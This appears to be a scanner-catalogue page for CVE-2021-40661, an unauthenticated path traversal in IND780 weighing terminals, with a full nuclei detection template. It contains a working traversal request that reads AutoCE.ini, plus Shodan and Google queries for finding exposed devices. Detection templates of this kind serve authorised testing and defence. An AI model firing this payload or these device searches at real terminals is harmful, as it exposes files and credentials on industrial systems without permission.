IND780 - Local File Inclusion

highseverity

7.5CVSS score

6.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the system.

Fix

Apply the latest firmware update provided by the vendor to mitigate the vulnerability and ensure that the device is not accessible from untrusted networks.

How to confirm it

Send: GET {{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini
Positive when: contains "ExePath=\\Windows" and "WorkDir=\\Windows" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40661 -u <target>

The full check

id: CVE-2021-40661

info:
  name: IND780 - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate the vulnerability and ensure that the device is not accessible from untrusted networks.
  reference:
    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40661
    - https://github.com/Live-Hack-CVE/CVE-2021-40661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40661
    cwe-id: CWE-22
    epss-score: 0.06082
    epss-percentile: 0.93466
    cpe: cpe:2.3:o:mt:ind780_firmware:7.2.10:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mt
    product: ind780_firmware
    shodan-query:
      - IND780
      - ind780
    google-query: inurl:excalweb.dll
  tags: cve2021,cve,ind780,lfi,mt,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ExePath=\Windows'
          - 'WorkDir=\Windows'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from